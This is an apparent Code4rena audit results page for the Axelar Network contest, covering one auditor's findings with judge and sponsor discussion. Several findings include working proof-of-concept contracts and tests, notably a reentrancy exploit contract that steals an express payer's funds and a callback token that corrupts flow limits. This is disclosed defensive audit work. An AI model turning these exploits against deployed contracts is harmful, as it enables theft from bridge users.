Axelar Network - immeas's results

Decentralized interoperability network.

General Information

Platform: Code4rena

Start Date: 12/07/2023

Pot Size: $80,000 USDC

Total HM: 11

Participants: 47

Period: 9 days

Judge: berndartmueller

Total Solo HM: 1

Id: 260

League: ETH

Axelar Network

Findings Distribution

Researcher Performance

Rank: 1/47

Findings: 7

Award: $12,679.20

QA:
grade-a

🌟 Selected for report: 2

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: immeas

Also found by: nobody2018

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
H-01

Awards

7066.8012 USDC - $7,066.80

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L467-L487

Vulnerability details

Description

A token transfer can be express delivered on behalf of another user, also when the call contains data to be executed:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L467-L487

File: its/interchain-token-service/InterchainTokenService.sol

467:    function expressReceiveTokenWithData(
		    // ... params
475:    ) external {
476:        if (gateway.isCommandExecuted(commandId)) revert AlreadyExecuted(commandId);
477:
478:        address caller = msg.sender;
479:        ITokenManager tokenManager = ITokenManager(getValidTokenManagerAddress(tokenId));
480:        IERC20 token = IERC20(tokenManager.tokenAddress());
481:
482:        SafeTokenTransferFrom.safeTransferFrom(token, caller, destinationAddress, amount);
483:
484:        _expressExecuteWithInterchainTokenToken(tokenId, destinationAddress, sourceChain, sourceAddress, data, amount);
485:
486:        _setExpressReceiveTokenWithData(tokenId, sourceChain, sourceAddress, destinationAddress, amount, data, commandId, caller);
487:    }

The issue here is that check effects interactions is not followed.

There are a two of attack paths here with varying assumptions and originating parties:

Attacker: Anyone, assuming there are third parties providing expressReceiveTokenWithData on demand with on-chain call

  1. An attacker sends a large token transfer to a chain with a public mempool.

  2. Once the attacker sees the call by Axelar to AxelarGateway::exectute in the mempool they front run this call with a call to the third party providing expressReceiveTokenWithData.

  3. The third party (victim) transfers the tokens to the destinationAddress contract. Attacker is now +amount from this transfer.

  4. expressExecuteWithInterchainToken on the destinationAddress contract does a call to AxelarGateway::exectute (which can be called by anyone) to submit the report and then a reentry call to InterchainTokenService::execute their commandId. This performs the second transfer from the TokenManager to the destinationAddress (since the _setExpressReceiveTokenWithData has not yet been called). Attacker contract is now +2x amount, having received both the express transfer and the original transfer.

  5. _setExpressReceiveTokenWithData is set but this commandId has already been executed. The victims funds has been stolen.

AxelarGateway operator, assuming there are third parties providing expressReceiveTokenWithData off-chain.

The operator does the same large transfer as described above. The operator then holds the update to AxelarGateway::execute and instead sends these instructions to their malicious destinationContract. When the expressReceiveTokenWithData is called, this malicious contract will do the same pattern as described above. Call AxelarGateway::execute then InterchainTokenService::execute.

The same attacks could work for tokens with transfer callbacks (like ERC777) with just the expressReceiveToken call as well.

Impact

With a very large cross chain token transfer a malicious party can use this to steal the same amount from the express receive executor.

If this fails, since it relies on front running and some timing, the worst thing that happens for the attacker is that the transfer goes through and they've just lost the transfer fees.

Note to judge/sponsor

This makes some assumptions about how trusted an operator/reporter is and that there are possibilities to have expressReceiveTokens to be called essentially on demand ("ExpressReceiveAsAService"). If these aren't valid please regard this as a low just noting the failure to follow checks-effects-interactions in expressReceiveToken/WithData.

The existence of expressReceive implies though that there should be some kind of service providing this premium service for a fee.

Proof of Concept

Test in tokenService.js:

        it('attacker steals funds from express executor', async () => {
            const [token, tokenManager, tokenId] = await deployFunctions.lockUnlock(`Test Token Lock Unlock`, 'TT', 12, amount * 2);
            await token.transfer(tokenManager.address, amount);

            const expressPayer = (await ethers.getSigners())[5];
            await token.transfer(expressPayer.address, amount);
            await token.connect(expressPayer).approve(service.address, amount);

            const commandId = getRandomBytes32();
            const recipient = await deployContract(wallet, 'ExpressRecipient',
                [gateway.address,service.address,service.address.toLowerCase()]);

            const data = '0x'
            const payload = defaultAbiCoder.encode(
                ['uint256', 'bytes32', 'bytes', 'uint256', 'bytes', 'bytes'],
                [SELECTOR_SEND_TOKEN_WITH_DATA, tokenId, recipient.address, amount, service.address, data],
            );

            const params = defaultAbiCoder.encode(
                ['string', 'string', 'address', 'bytes32', 'bytes32', 'uint256'],
                [sourceChain, sourceAddress, service.address, keccak256(payload), getRandomBytes32(), 0],
            );
            await recipient.setData(params,commandId);
            
            // expressPayer express pays triggering the reentrancy
            await service.connect(expressPayer).expressReceiveTokenWithData(
                    tokenId,
                    sourceChain,
                    service.address,
                    recipient.address,
                    amount,
                    data,
                    commandId,
                );

            // recipient has gotten both the cross chain and express transfer
            expect(await token.balanceOf(recipient.address)).to.equal(amount*2);
        });

And its/test/ExpressRecipient.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { MockAxelarGateway } from './MockAxelarGateway.sol';
import { IInterchainTokenExpressExecutable } from '../interfaces/IInterchainTokenExpressExecutable.sol';
import { AxelarExecutable } from '../../gmp-sdk/executable/AxelarExecutable.sol';
import { AddressBytesUtils } from '../libraries/AddressBytesUtils.sol';

contract ExpressRecipient is IInterchainTokenExpressExecutable{
    using AddressBytesUtils for address;
    
    bytes private params;
    MockAxelarGateway private gateway;
    AxelarExecutable private interchainTokenService;
    bytes32 private commandId;
    string private sourceAddress;

    constructor(MockAxelarGateway _gateway_, AxelarExecutable _its, string memory _sourceAddress) {
        gateway = _gateway_;
        interchainTokenService = _its;
        sourceAddress = _sourceAddress;
    }

    function setData(bytes memory _params, bytes32 _commandId) public {
        params = _params;
        commandId = _commandId;
    }

    function expressExecuteWithInterchainToken(
        string calldata sourceChain,
        bytes memory sadd,
        bytes calldata data,
        bytes32 tokenId,
        uint256 amount
    ) public {
        // this uses the mock call from tests but a real reporter would
        // have all data needed to make this call the proper way
        gateway.approveContractCall(params, commandId);

        bytes memory payload = abi.encode(uint256(2),tokenId,address(this).toBytes(),amount,sadd,data);
        
        // do the reentrancy and execute the transfer
        interchainTokenService.execute(commandId, sourceChain, sourceAddress, payload);
    }

    function executeWithInterchainToken(string calldata , bytes calldata , bytes calldata , bytes32 , uint256) public {}
}

Tools Used

Manual audit

Consider doing _setExpressReceiveTokenWithData before external calls.

Assessed type

Reentrancy

#0 - 0xSorryNotSorry

2023-07-24T11:32:25Z

The submission is a bit difficult to follow. Needs judge perusal prior relaying to the sponsors.

#1 - c4-pre-sort

2023-07-24T11:32:29Z

0xSorryNotSorry marked the issue as low quality report

#2 - berndartmueller

2023-09-01T10:09:51Z

Besides being very difficult to follow and understand, there are many assumptions on trust assumption violations.

Kindly invite the sponsor's thoughts on this. @deanamiel

#3 - c4-sponsor

2023-09-08T14:22:14Z

deanamiel (sponsor) confirmed

#4 - deanamiel

2023-09-08T14:22:51Z

This vulnerability has been addressed. See PR here

#5 - c4-judge

2023-09-08T16:16:16Z

berndartmueller marked the issue as primary issue

#6 - c4-judge

2023-09-08T16:19:11Z

berndartmueller marked the issue as selected for report

#7 - berndartmueller

2023-09-08T16:25:42Z

After a more thorough review, it is evident that the InterchainTokenService.expressReceiveTokenWithData, and, under certain conditions such as the use of ERC-777 tokens, InterchainTokenService.expressReceiveToken functions are vulnerable to reentrancy due to violating the CEI-pattern.

Consequently, funds can be stolen by an attacker from actors who attempt to fulfill token transfers ahead of time via the express mechanism. Thus, considering this submission as a valid high-severity finding.

Hats off to the wardens who spotted this vulnerability! 🏆

#8 - liveactionllama

2023-09-08T17:48:48Z

Per discussion with the judge (@berndartmueller), removing the low quality label on their behalf.

Findings Information

🌟 Selected for report: bart1e

Also found by: immeas, nobody2018

Labels

bug
2 (Med Risk)
satisfactory
duplicate-332

Awards

978.4802 USDC - $978.48

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L161-L165

Vulnerability details

Description

When transferring tokens cross chain the TokenManager can impose a flow limit. That can prevent large transfers in any direction from happening:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L161-L165

File: its/token-manager/TokenManager.sol

161:    function giveToken(address destinationAddress, uint256 amount) external onlyService returns (uint256) {
162:        amount = _giveToken(destinationAddress, amount);
163:        _addFlowIn(amount); // <--- state change done after transfer
164:        return amount;
165:    }

_giveToken in TokenManagerLockUnlock (same issue applies to the other managers as well):

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/implementations/TokenManagerLockUnlock.sol#L60-L67

File: its/token-manager/implementations/TokenManagerLockUnlock.sol

 60:    function _giveToken(address to, uint256 amount) internal override returns (uint256) {
 61:        IERC20 token = IERC20(tokenAddress());
 62:        uint256 balance = IERC20(token).balanceOf(to);
 63:
 64:        SafeTokenTransfer.safeTransfer(token, to, amount);
 65:
 66:        return IERC20(token).balanceOf(to) - balance;
 67:    }

If a token has a callback on transfer, the receiver can transfer more money into the account thus making the returned balance appear larger than what was actually transferred.

Since this amount is used to track the flow, the flow can be manipulated.

Impact

For tokens with callback functionality (like ERC777) a user can manipulate the flow recording system. Either to stop incoming transfers or use it to make sure they can transfer more amount out since opposite transfers cancel out each other.

It could also potentially cause issues for other contracts in IInterchainTokenExecutable::executeWithInterchainToken as that relies on the amount returned by _giveToken.

Proof of Concept

Test in tokenService.js

        it('fool FlowLimit with callback token', async () => {
            const callbackToken = await deployContract(wallet, 'CallbackToken');
            const callbackTokenId = await service.getCanonicalTokenId(callbackToken.address);

            await service.registerCanonicalToken(callbackToken.address);

            const tokenManagerAddress = await service.getValidTokenManagerAddress(callbackTokenId);
            expect(tokenManagerAddress).to.not.equal(AddressZero);
            const tokenManager = new Contract(tokenManagerAddress, TokenManager.abi, wallet);

            const recipient = await deployContract(wallet, 'Recipient', [wallet.address, tokenManagerAddress]);

            // set flow limit to record flow
            await service.setFlowLimit([callbackTokenId],[amount*2]);

            await callbackToken.mint(wallet.address,amount);
            await callbackToken.mint(tokenManagerAddress,amount);

            await callbackToken.approve(recipient.address,amount);

            expect(await tokenManager.getFlowInAmount()).to.eq(0);

            // amount is sent
            const payload = defaultAbiCoder.encode(
                ['uint256', 'bytes32', 'bytes', 'uint256'],
                [SELECTOR_SEND_TOKEN, callbackTokenId, recipient.address, amount],
            );
            const commandId = await approveContractCall(gateway, sourceChain, sourceAddress, service.address, payload);
            await expect(service.execute(commandId, sourceChain, sourceAddress, payload));

            // due to callback transfer flow limit recorded double the transfer
            expect(await tokenManager.getFlowInAmount()).to.eq(amount*2);
        });

CallbackToken and Recipient in its/test/CallbackToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { ERC20 } from '../token-implementations/ERC20.sol';

contract Recipient {

    address private lender;
    address private tokenManager;

    constructor(address _lender, address _tokenManager) {
        lender = _lender;
        tokenManager = _tokenManager;
    }

    function callback(uint256 amount, address sender) external {
        if(sender == tokenManager) {
            ERC20(msg.sender).transferFrom(lender,address(this),amount);
        }
    }
}

contract CallbackToken is ERC20 {

    string public name = "TESTCALLBACK";
    string public symbol = "TESTCALLBACK";
    uint8 public decimals = 18;

    function mint(address to, uint256 amount) public {
        _mint(to,amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        if (sender == address(0) || recipient == address(0)) revert InvalidAccount();
        
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;

        (bool result, ) = recipient.call(abi.encodeWithSelector(Recipient.callback.selector, amount, sender));
        require(result,"failed callback");
        
        emit Transfer(sender, recipient, amount);
    }
}

Tools Used

Manual audit

Follow checks effects interactions and record flow before doing _take/_giveToken. This issue only affects _giveToken but I recommend doing it on _takeToken as well.

Assessed type

Token-Transfer

#0 - c4-pre-sort

2023-07-29T00:36:19Z

0xSorryNotSorry marked the issue as duplicate of #317

#1 - c4-judge

2023-09-01T10:24:22Z

berndartmueller marked the issue as not a duplicate

#2 - c4-judge

2023-09-01T10:25:30Z

berndartmueller marked the issue as primary issue

#3 - c4-judge

2023-09-01T10:25:45Z

berndartmueller marked the issue as selected for report

#4 - c4-judge

2023-09-01T10:27:05Z

berndartmueller marked the issue as not selected for report

#5 - c4-judge

2023-09-01T10:28:00Z

berndartmueller marked the issue as duplicate of #332

#6 - c4-judge

2023-09-01T10:28:09Z

berndartmueller marked the issue as satisfactory

Findings Information

Labels

bug
2 (Med Risk)
satisfactory
duplicate-319

Awards

94.7708 USDC - $94.77

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L76

Vulnerability details

Description

Cross chain proposals can contain instructions to send native value. InterchainProposalExecutor then sends this value when doing the call to the target contract:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L76

File: interchain-governance-executor/InterchainProposalExecutor.sol

76:            (bool success, bytes memory result) = call.target.call{ value: call.value }(call.callData);

The issue is however that InterchainProposalExecutor has no way to receive value so it will revert since there will not be any value in the contract.

Impact

If a proposal needed requires native value, InterchainProposalExecutor will not be able to execute it, thus impeding on the functionality of the executor. Unless extraordinary methods (SELFDESTRUCT/SENDALL) are taken to fund the contract.

Proof of Concept

Test in in InterchainProposalExecutor.js

        it('execute with value', async () => {
            await executor.setWhitelistedProposalCaller('ethereum', signerAddress, true);
            await executor.setWhitelistedProposalSender('ethereum', signerAddress, true);

            const callData = dummy.interface.encodeFunctionData('setState', ['Hello World']);
            const calls = [{
                    target: dummy.address,
                    value: 100, // do call with value
                    callData,
            }];

            const payload = ethers.utils.defaultAbiCoder.encode(
                ['address', 'tuple(address target, uint256 value, bytes callData)[]'],
                [signerAddress, calls],
            );

            // Transaction reverted: function selector was not recognized and there's no fallback nor receive function
            await expect(signer.sendTransaction({ to: executor.address, value: 100})).to.be.reverted;

            // call reverts as there is no eth in contract
            await expect(executor.forceExecute('ethereum', signerAddress, payload))
                  .to.be.revertedWithCustomError(executor,"ProposalExecuteFailed");
        });

Tools Used

Manual audit

Consider adding a receive function.

Assessed type

ETH-Transfer

#0 - c4-pre-sort

2023-07-29T00:04:42Z

0xSorryNotSorry marked the issue as duplicate of #319

#1 - c4-judge

2023-09-08T11:00:19Z

berndartmueller marked the issue as satisfactory

Findings Information

🌟 Selected for report: Jeiwan

Also found by: Toshii, immeas, pcarranzav

Labels

bug
2 (Med Risk)
high quality report
satisfactory
duplicate-316

Awards

660.4741 USDC - $660.47

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L104

Vulnerability details

Description

When sending tokens cross chain from the token contract a user can send tokens on behalf of another user with InterchainToken::interchainTransferFrom. Similar to a ERC20::transferFrom this uses the approval from another user to transfer tokens, but cross chain.

This is then passed through to TokenManager:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L104

File: its/interchain-token/InterchainToken.sol

104:        tokenManager.transmitInterchainTransfer{ value: msg.value }(sender, destinationChain, recipient, amount, metadata);

Notice sender as the first parameter.

Now, TokenManager::transmitInterchainTransfer uses this and in turn passes this through to InterchainTokenService:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L129-L153

File: its/token-manager/TokenManager.sol

129:    /**
130:     * @notice Calls the service to initiate the a cross-chain transfer after taking the appropriate amount of tokens from the user. This can only be called by the token itself.
131:     * @param sender the address of the user paying for the cross chain transfer. <--- `sender` musn't be the one paying
...
135:     */
136:    function transmitInterchainTransfer(
137:        address sender, // <--- `sender` the one transferring tokens
...
142:    ) external payable virtual onlyToken {
143:        amount = _takeToken(sender, amount);
144:        _addFlowOut(amount);
145:        interchainTokenService.transmitSendToken{ value: msg.value }(
146:            _getTokenId(),
147:            sender,
...
152:        );
153:    }

sender here is not the one paying but the one who is supplying the tokens.

Further on, in InterchainTokenService

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L493-L523

File: its/interchain-token-service/InterchainTokenService.sol

493:    /**
494:     * @notice Transmit a sendTokenWithData for the given tokenId. Only callable by a token manager.
495:     * @param tokenId the tokenId of the TokenManager (which must be the msg.sender).
496:     * @param sourceAddress the address where the token is coming from, which will also be used for reimburment of gas. // <--- here is where our `sender` is passed
...
501:     */
502:    function transmitSendToken(
503:        bytes32 tokenId,
504:        address sourceAddress, // <--- `sender`
...
509:    ) external payable onlyTokenManager(tokenId) notPaused {
510:        bytes memory payload;
511:        if (metadata.length < 4) {
512:            payload = abi.encode(SELECTOR_SEND_TOKEN, tokenId, destinationAddress, amount);
513:            _callContract(destinationChain, payload, msg.value, sourceAddress);
514:            emit TokenSent(tokenId, destinationChain, destinationAddress, amount);
515:            return;
516:        }
...
521:        _callContract(destinationChain, payload, msg.value, sourceAddress);
522:        emit TokenSentWithData(tokenId, destinationChain, destinationAddress, amount, sourceAddress, metadata);
523:    }

Finally in _callContract, sourceAddress where our erroneous sender is passed as the refundee for the call:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L700-L724

File: its/interchain-token-service/InterchainTokenService.sol

700:    /**
701:     * @notice Calls a contract on a specific destination chain with the given payload
...
705:     * @param refundTo The address where the unused gas amount should be refunded to
706:     */
707:    function _callContract(
...
711:        address refundTo // <--- `sender`
712:    ) internal {
713:        string memory destinationAddress = remoteAddressValidator.getRemoteAddress(destinationChain);
714:        if (gasValue > 0) {
715:            gasService.payNativeGasForContractCall{ value: gasValue }(
...
720:                refundTo // <--- `sender`
721:            );
722:        }
723:        gateway.callContract(destinationChain, destinationAddress, payload);
724:    }

As you can see, for InterchainToken::interchainTransferFrom the holder of the tokens is erroneously refunded for gas not msg.sender who is the one paying for the transfer.

Impact

When using InterchainToken::interchainTransferFrom, gas refunds will be sent to the wrong address.

Proof of Concept

Test in tokenService.js:

        it('gas refund address wrong for interchainTransferFrom is wrong', async () => {
            const [token, tokenManager, tokenId] = await deployFunctions.lockUnlock(`Test Token Lock Unlock`, 'TT', 12, amount);

                const user = (await ethers.getSigners())[5];
                await token.transfer(user.address,amount);
                await token.connect(user).approve(wallet.address,amount);

                const payload = defaultAbiCoder.encode(
                    ['uint256', 'bytes32', 'bytes', 'uint256'],
                    [SELECTOR_SEND_TOKEN, tokenId, destAddress, amount],
                );
                const payloadHash = keccak256(payload);
                let transferToAddress = tokenManager.address;

                // wallet transfers on users behalf
                await expect(token.interchainTransferFrom(user.address,destChain, destAddress, amount, metadata, { value: gasValue }))
                    .and.to.emit(token, 'Transfer')
                    .withArgs(user.address, transferToAddress, amount)
                    .and.to.emit(gateway, 'ContractCall')
                    .withArgs(service.address, destChain, service.address.toLowerCase(), payloadHash, payload)
                    .and.to.emit(gasService, 'NativeGasPaidForContractCall')
                    //                         WRONG refundAddress should be `wallet` who paid for the transfer ↓↓↓↓
                    .withArgs(service.address, destChain, service.address.toLowerCase(), payloadHash, gasValue, user.address)
                    .to.emit(service, 'TokenSent')
                    .withArgs(tokenId, destChain, destAddress, amount);
        });

NativeGasPaidForContractCall for reference:

    event NativeGasPaidForContractCall(
        address indexed sourceAddress,
        string destinationChain,
        string destinationAddress,
        bytes32 indexed payloadHash,
        uint256 gasFeeAmount,
        address refundAddress // <--- refund address
    );

Tools Used

Manual audit

Add an extra paramter to transmitInterchainTransfer who is the refundee and pass msg.sender there for interchainTransferFrom

Assessed type

ETH-Transfer

#0 - 0xSorryNotSorry

2023-07-28T12:54:08Z

The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.

#1 - c4-pre-sort

2023-07-28T12:54:13Z

0xSorryNotSorry marked the issue as high quality report

#2 - c4-pre-sort

2023-07-29T00:21:42Z

0xSorryNotSorry marked the issue as duplicate of #316

#3 - c4-judge

2023-09-08T16:30:09Z

berndartmueller marked the issue as satisfactory

Findings Information

🌟 Selected for report: pcarranzav

Also found by: immeas

Labels

bug
2 (Med Risk)
satisfactory
sponsor disputed
duplicate-267

Awards

1630.8003 USDC - $1,630.80

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L69-L76

Vulnerability details

Impact

If a contract with interchainTokenServiceAddress is compromised it cannot be removed as this default is there, until an upgrade of RemoteAddressValidator has happened which can be too late.

It also means that if another contract can get the same address as InterchainTokenService on another chain the impact could be astronomical since that would give the malicious contract the ability to fake incoming transfers and empty all token managers. An example of how this can happen is the wintermute hack, where an attacker managed to get the same wallet address as the wintermute protocol.

In this case, that would enable an attacker to deploy a malicious contract to the InterchainTokenService using Create3 which, looking at deploy.js it looks like the protocol will do.

We don't know which accounts/wallets will deploy or which deploy methods are going to be used for InterchainTokenService across different chains. Hence I'm bringing up this risk.

I categorize this as medium as the cost of making one mistake once here would be devastating. Even though the likelihood is minimal the fix is also simple.

Proof of Concept

When a remote call is made to InterchainTokenService it goes into _execute which has the onlyRemoteService modifier. This in turn calls RemoteAddressValidator::validateSender:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L69-L76

File: its/remote-address-validator/RemoteAddressValidator.sol

69:    function validateSender(string calldata sourceChain, string calldata sourceAddress) external view returns (bool) {
70:        string memory sourceAddressLC = _lowerCase(sourceAddress);
71:        bytes32 sourceAddressHash = keccak256(bytes(sourceAddressLC));
72:        if (sourceAddressHash == interchainTokenServiceAddressHash) { // <-- default value accepted for
73:            return true;                                              //     current chains ITS address
74:        }
75:        return sourceAddressHash == remoteAddressHashes[sourceChain];
76:    }

This compares the hash of the sourceAddress of the call to what has been configured. It will also always accept the current chains InterchainTokenServices address (interchainTokenServiceAddressHash).

Having a default value here removes the possiblity to remove a trusted address if it is the the current chains InterchainTokenServices address without an upgrade to the RemoteAddressValidator.

Tools Used

Manual audit, rekt

Consider not using a default value for the critical security validation of which source contract the call is sent from. Instead set the address for the chain in question after it has been confirmed that the InterchainTokenService has been deployed on that chain.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-07-29T00:36:52Z

0xSorryNotSorry marked the issue as primary issue

#1 - c4-sponsor

2023-08-26T01:23:42Z

deanamiel marked the issue as sponsor disputed

#2 - deanamiel

2023-08-26T01:24:28Z

ITS will have the same address on all chains and will be deployed by the Axelar team. It would be impossible to deploy a different contract at this address because the address will depend on the deployer address and salt.

#3 - c4-judge

2023-09-04T09:13:15Z

berndartmueller marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2023-09-11T11:54:48Z

berndartmueller marked the issue as duplicate of #267

#5 - c4-judge

2023-09-11T12:01:54Z

berndartmueller marked the issue as satisfactory

Findings Information

🌟 Selected for report: pcarranzav

Also found by: immeas

Labels

bug
2 (Med Risk)
downgraded by judge
low quality report
satisfactory
sponsor disputed
duplicate-116

Awards

1630.8003 USDC - $1,630.80

External Links

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L47-L72

Vulnerability details

Description

When voting for an action signers are expected to call Multisig with the call to be made to cast their vote:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L47-L72

File: cgp/auth/MultisigBase.sol

47:        bytes32 topic = keccak256(msg.data);
48:        Voting storage voting = votingPerTopic[signerEpoch][topic];
...
56:        uint256 voteCount = voting.voteCount + 1; // <--- vote counted
57:
58:        // Do not proceed with operation execution if insufficient votes.
59:        if (voteCount < signers.threshold) {
60:            // Save updated vote count.
61:            voting.voteCount = voteCount;
62:            return;
63:        }
64:
65:        // Clear vote count and voted booleans.
66:        voting.voteCount = 0; // <--- vote count is reset
67:
68:        uint256 count = signers.accounts.length;
69:
70:        for (uint256 i; i < count; ++i) {
71:            voting.hasVoted[signers.accounts[i]] = false; // <--- all voters are reset
72:        }

Once enough votes are cast the action will be executed.

The issue here is that if more signers than needed vote, the superfluous votes will count to the next vote.

Imaging a Multisig where there is 2/3. All three vote for a proposal. The proposal will pass at 2/3 then the last vote will vote for it again. Giving it 1/3 votes. Hence any of the initial two voters will be able to execute it again.

Impact

A vote can be passed with less votes than needed if the action was up for vote previously and more than needed signers voted.

Proof of Concept

Test in Multisig.js:

    it('second proposal can pass with less votes', async () => {
        const targetInterface = new Interface(['function callTarget() external']);
        const calldata = targetInterface.encodeFunctionData('callTarget');
        const nativeValue = 0;

        // all three signers vote
        await multisig
            .connect(signer1)
            .execute(targetContract.address, calldata, nativeValue)
            .then((tx) => tx.wait());

        // here the vote will be passed
        await multisig
            .connect(signer2)
            .execute(targetContract.address, calldata, nativeValue)
            .then((tx) => tx.wait());

        // signer 3s vote is still being counted though
        await multisig
            .connect(signer3)
            .execute(targetContract.address, calldata, nativeValue)
            .then((tx) => tx.wait());

        // time passes without a re-roll

        // next time, this vote can pass with less signers
        await expect(
                multisig
                    .connect(signer1)
                    .execute(targetContract.address, calldata, nativeValue, { value: nativeValue })
            ).to.emit(targetContract,'TargetCalled',
        );
    });

Tools Used

Manual audit

Consider adding a nonce to the topics so that the same isn't accidentally voted for again.

Assessed type

Governance

#0 - 0xSorryNotSorry

2023-07-24T11:42:09Z

The referenced mitigation is already implemented here :

    function executeMultisigProposal(
        address target,
        bytes calldata callData,
        uint256 nativeValue
    ) external payable onlySigners {
        bytes32 proposalHash = keccak256(abi.encodePacked(target, callData, nativeValue));
@>   if (!multisigApprovals[proposalHash]) revert NotApproved();
@>   multisigApprovals[proposalHash] = false;
        _call(target, callData, nativeValue);
        emit MultisigExecuted(proposalHash, target, callData, nativeValue);
    }

#1 - c4-pre-sort

2023-07-24T11:42:14Z

0xSorryNotSorry marked the issue as low quality report

#2 - c4-judge

2023-08-30T13:32:55Z

berndartmueller marked the issue as satisfactory

#3 - berndartmueller

2023-08-30T13:36:23Z

The referenced mitigation is already implemented here :

    function executeMultisigProposal(
        address target,
        bytes calldata callData,
        uint256 nativeValue
    ) external payable onlySigners {
        bytes32 proposalHash = keccak256(abi.encodePacked(target, callData, nativeValue));
@>   if (!multisigApprovals[proposalHash]) revert NotApproved();
@>   multisigApprovals[proposalHash] = false;
        _call(target, callData, nativeValue);
        emit MultisigExecuted(proposalHash, target, callData, nativeValue);
    }

In this case, the issue outlined in the submission is mitigated. However, if the called target contract does not have such a check in place, the proposal can be voted on again and possibly re-executed.

Requesting sponsor's feedback. @deanamiel

#4 - c4-sponsor

2023-09-07T20:10:32Z

deanamiel (sponsor) disputed

#5 - deanamiel

2023-09-07T20:12:39Z

It is the responsibility of the voters to check whether or not the proposal still exists before voting and we will have scripts to help perform these checks. Even if this did happen all the voters are trusted so another voter would not maliciously execute the same proposal twice.

#6 - berndartmueller

2023-09-08T10:34:39Z

In the context of the executeMultisigProposal function, the outlined issue is mitigated by checking the multisig approval (multisigApprovals) and ensuring it's only executed once.

The Multisig contract also inherits from MultisigBase, and the Multisig.execute function allows calling any arbitrary target (once there are sufficient votes from the signers). This execute function does not itself prevent executing a proposal multiple times. However, it is assumed that the signers are trusted (they are initially selected by the MultisigBase or Multisig contract deployer as part of the constructor). If a significant portion of the signers turns malicious, they could execute a harmful proposal (potentially stealing funds) via the Multisig.execute anyway, even with a check to prevent the consecutive execution of a proposal.

Thus, I'm invalidating the submission.

#7 - c4-judge

2023-09-08T10:34:48Z

berndartmueller marked the issue as unsatisfactory: Invalid

#8 - pcarranzav

2023-09-08T19:42:36Z

it is assumed that the signers are trusted

Isn't the purpose of a multisig not to trust individual signers or even N-1 signers, but only trust when N of them sign?

I would argue that a multisig meets it's purpose if and only if the configured threshold is the absolute minimum number of signers that must be compromised to execute a proposal maliciously. The fact that overvotes can leave a spurious proposal with N-1 votes being sufficient for execution breaks one of the core assumptions when using a multisig.

(I'd also note https://github.com/code-423n4/2023-07-axelar-findings/issues/116 and https://github.com/code-423n4/2023-07-axelar-findings/issues/245 could be considered duplicates - impact descriptions are slightly different but the underlying issue is the same)

#9 - c4-judge

2023-09-12T08:42:10Z

berndartmueller marked the issue as duplicate of #116

#10 - c4-judge

2023-09-12T08:42:17Z

berndartmueller changed the severity to 2 (Med Risk)

#11 - c4-judge

2023-09-12T08:42:23Z

berndartmueller marked the issue as satisfactory

#13 - deanamiel

2023-09-12T15:45:35Z

Perhaps for a generic multi-sig in which signers are not trusted this would be true. However, for the multi-sig that we have designed for our governance purposes, signers will be part of Axelar governance and therefore will be trusted. It is the signer's responsibility to ensure that a proposal exists before voting on it. We still wish to dispute validity.

#14 - berndartmueller

2023-09-12T16:04:31Z

Perhaps for a generic multi-sig in which signers are not trusted this would be true. However, for the multi-sig that we have designed for our governance purposes, signers will be part of Axelar governance and therefore will be trusted. It is the signer's responsibility to ensure that a proposal exists before voting on it. We still wish to dispute validity.

I understand your point. Nevertheless, overvoting is possible (even if not done with malicious intent), and it can be fixed to prevent any future, while unlikely, issue.

I acknowledge that the sponsor disagrees with the validity. The validity and severity are certainly close to being invalid and QA, respectively. Still, I lean more towards being valid and Medium severity.

Findings Information

Labels

bug
grade-a
high quality report
QA (Quality Assurance)
selected for report
Q-04

Awards

617.0774 USDC - $617.08

External Links

QA Report

Summary

Low

idtitle
L-01FinalProxy can be hijacked by vulnerable implementation contract
L-02A users tokens can be stolen if they don't control msg.sender address on all chains
L-03no event emitted when a vote is cast in MultisigBase
L-04InterchainTokenService non-remote deploy calls accept eth but are not using it
L-05default values for deployAndRegisterStandardizedToken can make it complicated for third party implementers
L-06InterchainTokenServiceProxy is FinalProxy
L-07low level call will always succeed for non existent addresses
L-08InterchainTokenService::getImplementation returns address(0) for invalid types
L-09consider a two way transfer of governance
L-10consider a two way transfer of operator and distributor

Suggestions

idtitle
S-01consider adding a version to upgradable contracts

Refactor

idtitle
R-01sourceAddress means two different things in InterchainTokenService
R-02InterchainTokenService::_validateToken could have a more descriptive name
R-03AxelarGateway::onlyMintLimiter could have a more descriptive name

Non critical/Informational

idtitle
NC-01RemoteAddressValidator::_lowerCase will not work for Solana addresses
